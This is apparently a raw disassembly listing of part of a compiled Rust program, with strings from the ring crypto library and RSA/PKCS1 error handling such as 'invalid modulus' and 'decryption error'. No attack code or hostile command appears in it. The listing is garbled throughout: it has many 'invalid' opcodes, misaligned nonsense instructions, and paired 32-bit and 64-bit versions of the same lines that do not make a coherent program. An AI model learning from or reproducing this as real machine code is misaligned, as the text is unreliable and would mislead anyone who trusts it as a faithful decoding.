loopne 0x1a7f1b91c81
invalid
dec dword [rax - 0x77]
ret
mov r14, rdx
mov esi, edx
lea r15, [rsp + 0xf8]
mov r8d, 0x3f8
mov eax, 0x3f8
mov eax, 0x3f8
clc
add eax, dword [rax]
add byte [rcx + rcx*4 - 7], cl
mov rcx, r15
xor edx, edx
call fcn.1a7f1c22810
or ecx, dword [rcx]
add byte [rcx - 0x39], cl
clc
add dword [rax], eax
add byte [rax], al
or ecx, dword [rcx]
add byte [rcx - 0x39], cl
clc
add dword [rax], eax
add byte [rax], al
add byte [rbp + rcx*4 + 0xd], cl
lea r9, [0x1a7f1c560d0]
and byte [rsp + rcx], al
lea rcx, [rsp + 0xf0]
mov edx, 0x80
add byte [rax], al
invalid
and al, 0xf0
add byte [rax], al
add byte [rdx + 0x80], bh
add byte [rax], al
add byte [rcx - 0x77], cl
call 0x1a7f1658eac
mov r8, rbp
call fcn.1a7f1b8c936
dec dword [rcx + rcx*4 + 0x74]
and al, 0x28
dec dword [rcx + rcx*4 + 0x74]
and al, 0x28
mov dword [rsp + 0x28], esi
lea rcx, [rsp + 0x98]
mov qword [rsp + 0x20], rcx
and al, 0x20
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
mov rcx, rbx
mov rdx, rbx
fimul dword [rcx - 0x77]
ror byte [rbp - 0x77], 0xe1
mov r8, rax
mov r9, r12
call fcn.1a7f1c0bb40
lea r15, [rsp + 0xf0]
lock add byte [rax], al
add byte [rcx - 0x48], al
add byte [rax + rax], al
add byte [rcx + rcx*4 - 7], cl
add byte [rbp + rcx*4 - 0x44], cl
and al, 0xf0
invalid
lock add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
add byte [rax + rax], al
add byte [rcx + rcx*4 - 7], cl
stc
xor edx, edx
call fcn.1a7f1c22810
or dword [rax], eax
shr al, cl
adc byte [rbx], cl
or dword [rax], eax
mov rbp, qword [rsp + 0x580]
add byte [0x1a77f011d0b], 0x45
lea rax, [rbp + 7]
movabs r12, 0x7ffffffffffffff8
clc
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
clc
invalid
and r12, rax
lea r8, [0x1a7f1c57db0]
lea eax, [0x1a7f1c57db0]
lea eax, [0x1a7f1c57db0]
invalid
add byte [rcx + rcx*4 - 7], cl
mov rcx, r15
stc
mov rdx, r12
call fcn.1a7f1b8ec66
mov r13, rax
invalid
dec dword [rcx - 0x77]
invalid
mov r15, rdx
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
mov rdx, r14
mov r8, rax
mov eax, eax
mov r9, r15
call fcn.1a7f1b8c8a5
invalid
stosd dword [rdi], eax
invalid
dec dword [rcx + 0x29]
sub esp, ebp
invalid
sub esp, ebp
sub r15, r12
sub edi, esp
jb case.0x1a7f1b92526.213
call 0x1a83db91d4f
mov ebp, ebp
add byte [rax], al
add byte [rcx + rcx*4 - 0x13], cl
mov rbp, r13
add rbp, r12
add ebp, esp
in eax, 0x31
xor eax, eax
ror byte [rcx + 0x39], 0xc4
cmp r12, rax
je 0x1a7f1b91d7f
cmp byte [r13 + rax], 0
add eax, 0x8d480000
add byte [rax - 0x73], cl
lea rax, [rax + 1]
lea eax, [rax + 1]
add dword [rdi + rbp*8 + 0x48], esi
lea ecx, str.assertion_failed:_padding.iter__.all_b_b__0_
jb 0x1a7f1b91dcc
or al, 0
je case.0x1a7f1b7491c.225
out dx, eax
lea rcx, str.assertion_failed:_padding.iter__.all_b_b__0_
jb 0x1a7f1b91dcc
or al, 0
lea r8, [0x1a7f1c57e18]
or al, 0
mov edx, 0x31
xor dword [rax], eax
add byte [rax], al
invalid
add cl, ch
mov al, 0
add byte [rax], al
invalid
jmp 0x1a7f1b91e2f
add byte [rax - 0x77], cl
invalid
mov rcx, rbx
mov ecx, ebx
mov rdx, r14
call fcn.1a7f1b8fceb
invalid
invalid
invalid
dec dword [rax - 0x75]
invalid
mov r14, qword [rdi + 8]
mov esi, dword [rdi + 8]
invalid
invalid
mov esi, dword [rdi + 8]
mov rcx, rbx
mov ecx, ebx
fld dword [rcx - 1]
push rsi
call qword [r14 + 0x20]
lea rdi, [rsp + 0xa8]
mov esp, 0xa824
invalid
and byte [rax - 0x73], cl
mov esp, 0xa824
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rcx, rdi
mov rdx, rax
mov r8, rsi
mov r9, qword [rsp + 0x570]
mov ecx, dword [rsp + 0x570]
invalid
mov ecx, dword [rsp + 0x570]
add byte [rax], al
call fcn.1a7f1b90502
out 0xff, eax
out 0xff, eax
dec dword [rbp + rcx*4 + 0x44]
and al, 0x60
lea r8, [rsp + 0x60]
mov qword [r8], rbp
mov qword [r8 + 8], r15
js case.0x1a7f1b92526.204
and qword [r8 + 0x10], 0
mov rcx, rbx
mov rdx, rdi
cli
mov r9, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
and al, 0x48
call qword [r14 + 0x28]
call qword [r14 + 0x28]
sub byte [rax + rax*8 - 0x4abff78c], al
add ecx, ebp
or edi, esi
invalid
test al, al
je case.0x1a7f1b92526.206
mov bpl, 1
jmp 0x1a7f1b91bed
mov rax, qword [rsp + 0x70]
mov eax, dword [rsp + 0x70]
cmp rax, qword [rsp + 0x68]
setne bpl
xchg ebp, eax
vpsubb xmm7, xmm2, xmm5
invalid
clc
std
invalid
jmp 0x1a7f1b91bed
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srclimb.rs_y
lea eax, [0x1a7f1c579a8]
or al, 0
mov rcx, r12
mov ecx, esp
mov rdx, qword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
and al, 0x30
jmp 0x1a7f1b91e15
lea r8, [0x1a7f1c560e8]
or al, 0
add byte [rax - 0x77], cl
mov rcx, rax
mov ecx, eax
ror dword [rax - 0x75], 0x54
mov rdx, qword [rsp + 0x50]
push rsp
and al, 0x50
call fcn.1a7f1c2fb60
fisttp qword [rcx]
add byte [rdi], cl
ud2
invalid
invalid
or dword [rax], eax
ud2
lea rcx, str.assertion_failed:_n_min_bits___N_MIN_BITSE:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_src_rsa_verification.rs
or eax, 0xc5eed
in eax, dx
pop rsi
or al, 0
lea r8, [0x1a7f1c57d98]
outsb dx, byte [rsi]
pop rdi
or al, 0
mov edx, 0x2a
add al, ch
sub al, 0xde
call fcn.1a7f1c2fc60
or dword [rax], eax
add byte [rdi], cl
or ecx, dword [rax - 0x73]
lea rcx, str.assertion_failed:_mid___self.len__
ud2
lea rcx, str.assertion_failed:_mid___self.len__
lea r8, [0x1a7f1c57dc8]
lea eax, [0x1a7f1c57dc8]
add eax, 0xc5f84
pop rdi
or al, 0
mov edx, 0x23
jmp 0x1a7f1b91e2f
invalid
add byte [rax], al
add bl, ch
in al, 0xf
movzx eax, byte [rcx + 0x18]
mov dh, 0x41
sbb byte [rax - 0x73], cl
or eax, 0x10b97a
invalid
adc byte [rax], al
lea rcx, [0x1a7f1c9d7d0]
mov ecx, 0x8b4c0010
mov r8, qword [rcx + rax*8]
add al, 0xc1
lea rcx, str.ECDSA_P256_SHA256_ASN1ECDSA_P256_SHA256_FIXEDECDSA_P256_SHA384_ASN1ECDSA_P384_SHA256_ASN1ECDSA_P384_SHA384_ASN1ECDSA_P384_SHA384_FIXEDPKCS1digest_alg
lea ecx, [0x1a7f1c9d800]
or eax, 0x10b99f
mov ecx, 0x8b480010
add al, 0xc1
adc byte [rax], al
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov ecx, dword [rdx + 0x18]
mov rdx, rax
mov edx, eax
ret 0xff49
jmp r9
sub esp, 0x38
mov rax, qword [rcx]
mov eax, dword [rcx]
cmp byte [rax - 0x75], cl
add dword [rbp + rcx*4 + 5], ecx
invalid
invalid
invalid
xor eax, esi
invalid
mov eax, dword [rcx]
lea r8, [0x1a7f1c9e4b8]
invalid
adc byte [rax], al
movsxd rax, dword [r8 + rax*4]
add rax, r8
add eax, eax
invalid
add eax, eax
sar bh, 0xe0
jmp rax
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
invalid
invalid
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, str.InvalidPaddingSchemeDecryptionVerificationMessageTooLongInputNotHashedNprimesTooSmallTooFewPrimesInvalidPrimeInvalidModulusInvalidExponentInvalidCoefficientModulusTooLargePublicExponentTooSmallPublicExponentTooLargePkcs1
lea edx, str.InvalidPaddingSchemeDecryptionVerificationMessageTooLongInputNotHashedNprimesTooSmallTooFewPrimesInvalidPrimeInvalidModulusInvalidExponentInvalidCoefficientModulusTooLargePublicExponentTooSmallPublicExponentTooLargePkcs1
adc eax, 0xc6927
mov r8d, 0x14
mov eax, 0x14
jmp 0x1a7f1b9209c
lock add dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
invalid
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x1a7f1c587dc]
adc eax, 0xc691d
mov r8d, 0xa
mov eax, 0xa
add byte [rax], al
add byte [rax], al
add cl, ch
jmp 0x1a7f1b9209c
rol byte [rcx], cl
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c587e6]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c587e6]
lea edx, [0x1a7f1c587e6]
add cl, ch
cdq
add dword [rax], eax
invalid
jmp case.0x1a7f1b92321.201
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov eax, dword [rdx + 0x28]
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c587f2]
std
invalid
or al, 0
invalid
sbb byte [rax - 0x73], cl
adc eax, 0xc68fd
std
invalid
or al, 0
invalid
std
push 0x70eb000c
add bl, ch
invalid
add bl, ch
jo 0x1a7f1b91f40
invalid
jmp case.0x1a7f1b8f892.18
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea edx, [0x1a7f1c58800]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c58800]
lea edx, [0x1a7f1c58800]
lea edx, [0x1a7f1c58800]
imul byte [rax + 0xc]
add bl, ch
invalid
push 0x5beb000c
jmp case.0x1a7f1b8f892.18
pop rbx
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5880e]
out dx, eax
invalid
or al, 0
sbb byte [rax - 0x73], cl
adc eax, 0xc68ef
out dx, eax
invalid
or al, 0
out dx, eax
push 0xffffffff94e9000c
jmp case.0x1a7f1b8f892.21
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5881d]
adc eax, 0xc68e6
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc68e6
push 0x3fe9000c
add dword [rax], eax
add byte [rax], al
mov rcx, qword [rdx + 0x20]
invalid
invalid
jmp case.0x1a7f1b92321.201
invalid
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xc68da
fisubr dword [rax + 0xc]
invalid
lea rdx, [0x1a7f1c58829]
fisubr dword [rax + 0xc]
add cl, ch
invalid
push 0x27e9000c
add dword [rax], eax
add byte [rax], al
mov rcx, qword [rdx + 0x20]
invalid
invalid
or al, 0
jmp case.0x1a7f1b92321.201
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x1a7f1c58835]
adc eax, 0xc68ce
invalid
mov r8d, 0xe
add byte [rax], al
add cl, ch
sub al, byte [rcx]
add byte [rax], al
add byte [rax], al
jmp 0x1a7f1b9209c
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c58843]
invalid
or al, 0
sbb byte [rax - 0x73], cl
adc eax, 0xc68be
push 0x31eb000c
or al, 0
jmp case.0x1a7f1b8f892.21
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
invalid
invalid
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1a7f1c58852]
adc eax, 0xc68b8
mov eax, 0x41000c68
mov eax, 0x12
mov r8d, 0x12
jmp 0x1a7f1b9209c
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xc68ac
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc68ac
push 0xffffffffb841000c
add byte [rcx - 0x48], al
mov r8d, 0xf
sldt word [rax]
add cl, ch
fld dword [rax]
add byte [rax], al
jmp 0x1a7f1b9209c
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
invalid
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1a7f1c58873]
adc eax, 0xc689d
jmp 0x1a7f1b91feb
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c58889]
adc eax, 0xc689e
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc689e
sahf
push 0xffffffffb841000c
or al, 0
mov r8d, 0x16
jmp 0x1a7f1b9209c
invalid
add rcx, 8
add ecx, 8
ror dword [rax], 0x4c
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
and al, 0x30
mov qword [r9], rcx
lea rax, [0x1a7f1c588a8]
lea eax, [0x1a7f1c588a8]
or dword [rax - 0x73], ecx
add eax, 0xc689f
invalid
lea eax, [0x1a7f1c588a8]
or al, 0
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
lea rax, [0x1a7f1c5889f]
jmp 0x1a7f1b92036
push 0x1feb000c
add rcx, 8
add ecx, 8
or byte [rbp + rcx*4 + 0x4c], cl
and al, 0x30
invalid
lea r9, [rsp + 0x30]
and al, 0x30
xor byte [rcx - 0x77], cl
or dword [rax - 0x73], ecx
lea rax, [0x1a7f1c58278]
mov qword [r9], rcx
lea rax, [0x1a7f1c58278]
lea eax, [0x1a7f1c58278]
invalid
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and al, 0x20
lea rax, [0x1a7f1c5826e]
cmp byte [rdx + 0xc], ah
add byte [rcx - 0x48], al
invalid
or al, 0
mov r8d, 5
mov rcx, rdx
invalid
add eax, 0x48000000
mov ecx, edx
ror dword [rax - 0x77], 1
ret 0xd9e8
mov rdx, rax
call fcn.1a7f1b6d420
std
invalid
nop
std
call qword [rax + 0x38c48348]
add rsp, 0x38
add rsp, 0x38
invalid
ret
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, str.InternalLabelTooLongInvalidPadLen_rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_srcops_function.rs
lea edx, str.InternalLabelTooLongInvalidPadLen_rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_srcops_function.rs
adc eax, 0xc6868
or al, 0
mov r8d, 8
or byte [rax], al
add byte [rax], al
add byte [rax], al
add bl, ch
jmp 0x1a7f1b9209c
mov rcx, qword [rdx + 0x20]
jmp 0x1a7f1b9209c
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1a7f1c588d0]
adc eax, 0xc6855
add byte [rcx - 0x48], al
or al, 0
invalid
mov r8d, 0xc
add byte [rax], al
add bl, ch
add byte [rax], al
jmp 0x1a7f1b9209c
sbb dword [rax - 0x75], ecx
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xc6846
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc6846
push 0xffffffffb841000c
or eax, 0x48000000
add esp, 0x38
invalid
invalid
or al, 0
mov r8d, 0xd
add byte [rax], al
add rsp, 0x38
invalid
jmp rax
loopne 0x1a7f1b920ec
sub rsp, 0x68
sub esp, 0x68
push 0x4c018b48
mov rax, qword [rcx]
lea r8, [0x1a7f1c9e504]
lea eax, [0x1a7f1c9e504]
invalid
movsxd rax, dword [r8 + rax*4]
invalid
add al, 0x80
add rax, r8
add eax, eax
jmp rax
lea rax, [0x1a7f1c58510]
or al, 0
or al, 0
jmp 0x1a7f1b921db
adc eax, 0x48000001
lea eax, [0x1a7f1c58530]
lea rax, str.decryption_error
or al, 0
jmp 0x1a7f1b921db
or dword [rcx], eax
add byte [rax], al
lea rax, str.verification_error
jg 0x1a7f1b9213b
or al, 0
or al, 0
jmp 0x1a7f1b921db
std
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xc6493
or al, 0
lea rax, str.message_too_longh
or al, 0
or al, 0
jmp 0x1a7f1b921db
int1
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
lea rax, str.input_must_be_hashed
add eax, 0xc64af
scasd eax, dword [rdi]
or al, 0
add cl, ch
jmp 0x1a7f1b921db
in eax, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
lea rax, str.nprimes_must_be___2
add eax, 0xc64cb
or al, 0
or al, 0
jmp 0x1a7f1b921db
fld dword [rax]
add byte [rax], al
lea rax, str.too_few_primes_of_given_length_to_generate_an_RSA_key
jmp 0x1a7f1b921db
int 0
add byte [rax], al
invalid
add cl, ch
int 0
add byte [rax], al
lea rax, str.invalid_prime_value
add eax, 0xc6523
or al, 0
jmp 0x1a7f1b921db
rol dword [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xc6537
or al, 0
lea rax, str.invalid_modulus
or al, 0
add cl, ch
mov ch, 0
add byte [rax], al
jmp 0x1a7f1b921db
lea rax, str.invalid_exponenth
add eax, 0xc654b
jmp 0x1a7f1b921db
add byte [rax], al
lea rax, str.invalid_coefficient
or al, 0
add cl, ch
popfq
jmp 0x1a7f1b921db
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
lea rax, str.modulus_too_large
add eax, 0xc6583
jmp 0x1a7f1b921db
xchg ecx, eax
add byte [rax], al
add byte [rax], al
lea rax, str.public_exponent_too_small
add byte [rax], al
lea rax, str.public_exponent_too_small
or al, 0
jmp 0x1a7f1b921db
lea rax, str.public_exponent_too_large
add eax, 0xc65cb
retf
or al, 0
jmp 0x1a7f1b921db
add rcx, 8
add ecx, 8
ror dword [rax], 0x48
lea eax, [rsp + 0x50]
lea rax, [rsp + 0x50]
mov qword [rax], rcx
lea rcx, [rsp + 0x58]
mov qword [rcx], rax
lea rax, [0x1a7f1b92226]
lodsb al, byte [rsi]
add byte [rax], al
add byte [rax], al
lodsb al, byte [rsi]
add byte [rax], al
add byte [rax], al
jmp 0x1a7f1b92197
add rcx, 8
lea rax, [rsp + 0x50]
and al, 0x50
add byte [rax], al
jmp 0x1a7f1b92197
add rcx, 8
lea rax, [rsp + 0x50]
and al, 0x50
or byte [rax - 0x73], cl
and al, 0x50
and al, 0x50
and al, 0x50
mov qword [rax], rcx
lea rcx, [rsp + 0x58]
and al, 0x58
pop rax
mov qword [rcx], rax
lea rax, [0x1a7f1b849f9]
lea eax, [0x1a7f1b849f9]
add dword [rax - 0x73], ecx
add eax, 0xffff2862
lea eax, [0x1a7f1b849f9]
mov qword [rcx + 8], rax
lea rax, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
lea r8, [rsp + 0x20]
and al, 0x20
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x20
and al, 0x20
mov qword [r8], rax
mov dword [rax], eax
mov eax, 1
mov qword [r8 + 8], rax
invalid
invalid
add byte [rax], al
add byte [rcx - 0x77], cl
or byte [rcx - 0x7d], cl
invalid
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rcx
invalid
adc byte [rcx - 0x77], cl
sbb bl, bpl
cmp al, 0x48
invalid
mov qword [r8 + 0x18], rax
jmp 0x1a7f1b921fe
lea rax, str.internal_error
lea eax, [0x1a7f1c58748]
jmp 0x1a7f1b921db
adc byte [rax - 0x73], cl
add eax, 0xc6596
lea rax, str.label_too_long
lea eax, [0x1a7f1c58768]
jmp 0x1a7f1b921db
lea rax, str.invalid_padding_length
add eax, 0xc65b5
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x20
lea r8, [rsp + 0x20]
mov qword [r8], rax
mov dword [rax], eax
add byte [rcx - 0x39], cl
or byte [rcx], al
or byte [rcx], al
mov qword [r8 + 8], 1
mov dword [rax + 8], 1
or byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x10b0ce
invalid
lea rax, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
add byte [rcx - 0x77], cl
adc byte [rdi], cl
push rdi
rol byte [rcx + 0xf], 0x11
sbb byte [rax - 0x75], cl
mov qword [r8 + 0x10], rax
xorps xmm0, xmm0
movups xmmword [r8 + 0x18], xmm0
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
push rdx
invalid
and byte [rax - 0x75], cl
push rdx
sub al, ch
invalid
call fcn.1a7f1b6d0f0
nop
add rsp, 0x68
in eax, 0xae
std
call qword [rax + 0x68c48348]
ret
je case.0x1a7f1b92526.232
xor eax, 0xba4821c6
pop rbp
sbb ebx, dword [rdx + rcx*2 - 0xa]
invalid
invalid
movabs rdx, 0x3f278ef64a5c1b5d
ret
test byte [rsi + 0x48c33f27], 0x83
test byte [rsi + 0x48c33f27], 0x83
mov fs, word [rdi]
invalid
in al, dx
push 0x48018b48
mov ecx, dword [rax]
invalid
or byte [rax - 0x7d], cl
sar esp, 0x48
cmp rcx, 4
add rcx, 0xfffffffffffffffc
add ecx, 0xfffffffc
cmp rcx, 4
stc
add al, 0x41
mov eax, 2
invalid
mov r8d, 2
add byte [rdi + rcx + 0x42], cl
ror dword [rax - 0x73], 0xd
invalid
invalid
invalid
cmovb r8, rcx
ror dword [rax - 0x73], 0xd
lea rcx, [0x1a7f1c9e550]
movsxd r8, dword [rcx + r8*4]
add al, 0x81
invalid
add al, 0x81
add r8, rcx
jmp r8
jmp rax
jmp rax
add rax, 8
lea rcx, [rsp + 0x20]
lea ecx, [rsp + 0x20]
and byte [rax - 0x77], cl
mov qword [rcx], rax
mov dword [rcx], eax
add dword [rax - 0x73], ecx
and al, 0x28
lea rax, [rsp + 0x28]
lea eax, [rsp + 0x28]
mov qword [rax], rcx
lea rcx, [0x1a7f1bbe2ab]
or byte [rax - 0x73], cl
or eax, 0x2c03d
mov qword [rax + 8], rcx
lea rcx, str.PKCS1_ASN.1_error:
lea ecx, [0x1a7f1c55668]
jmp case.0x1a7f1b920b8.20
lea rcx, [rsp + 0x20]
and al, 0x20
mov qword [rcx], rax
add dword [rax - 0x73], ecx
and al, 0x28
lea rax, [rsp + 0x28]
mov qword [rax], rcx
mov dword [rax], ecx
lea rcx, [0x1a7f1b849f9]
or eax, 0xffff2767
mov qword [rax + 8], rcx
mov dword [rax + 8], ecx
lea rcx, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
sti
mov al, 0x10
add byte [rbp + rcx*4 + 0x44], cl
lea r8, [rsp + 0x38]
lea r8, [rsp + 0x38]
lea eax, [rsp + 0x38]
mov qword [r8], rcx
mov ecx, 1
mov qword [r8 + 8], rcx
mov dword [rax + 8], ecx
mov dword [rax + 8], ecx
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], rcx
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rdx, qword [rdx + 0x28]
push rdx
sub al, ch
sub byte [rsi + 0x4890fffd], ch
call qword [rax + 0x68c48348]
call fcn.1a7f1b6d0f0
nop
call qword [rax + 0x68c48348]
add rsp, 0x68
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xc33b1
lea rdx, [0x1a7f1c55692]
mov r8d, 0x14
adc al, 0
add byte [rax], al
jmp case.0x1a7f1b75026.204
sbb dword [rax - 0x75], ecx
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.PKCS1_cryptographic_errorPKCS1_version_errorPKCS8_ASN.1_error:
adc eax, 0xc337c
sbb byte [rax - 0x73], cl
adc eax, 0xc337c
or al, 0
mov r8d, 0x1a
mov eax, 0x1a
add rsp, 0x68
jmp rax
invalid
push 0x48e0ff48
loopne 0x1a7f1b92352
sub rsp, 0x38
sub esp, 0x38
mov rax, qword [rcx]
mov rcx, qword [rax]
add dword [rax - 0x75], ecx
or byte [rbp + rcx*4 + 5], cl
lea r8, [0x1a7f1c9e560]
lea r8, [0x1a7f1c9e560]
lea eax, [0x1a7f1c9e560]
add eax, 0x10c246
adc byte [rax], al
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
jmp rcx
add rax, 8
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
mov qword [r9], rax
mov dword [rcx], eax
lea rax, [0x1a7f1c581e0]
add eax, 0xc5eaa
pop rsi
or al, 0
mov qword [rsp + 0x20], rax
and al, 0x20
and byte [rax - 0x73], cl
add eax, 0xc5e98
pop rsi
or al, 0
lea rax, [0x1a7f1c581da]
pop rsi
or al, 0
mov r8d, 4
add al, 0
add byte [rax], al
invalid
add byte [rax], al
add bl, ch
mov rcx, qword [rdx + 0x20]
mov rcx, qword [rdx + 0x20]
jmp case.0x1a7f1b61633.455
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x1a7f1c5829f]
adc eax, 0xc5f42
mov r8d, 0x13
add bl, ch
add rax, 8
add rax, 8
jmp case.0x1a7f1b920b8.30
add rax, 8
or byte [rbp + rcx*4 + 0x4c], cl
and al, 0x30
lea r9, [rsp + 0x30]
and al, 0x30
mov qword [r9], rax
lea rax, [0x1a7f1c582c0]
lea eax, [0x1a7f1c582c0]
lea eax, [0x1a7f1c582c0]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rax, [0x1a7f1c582b2]
lea eax, [0x1a7f1c582b2]
add eax, 0xc5f2e
add byte [rcx - 0x48], al
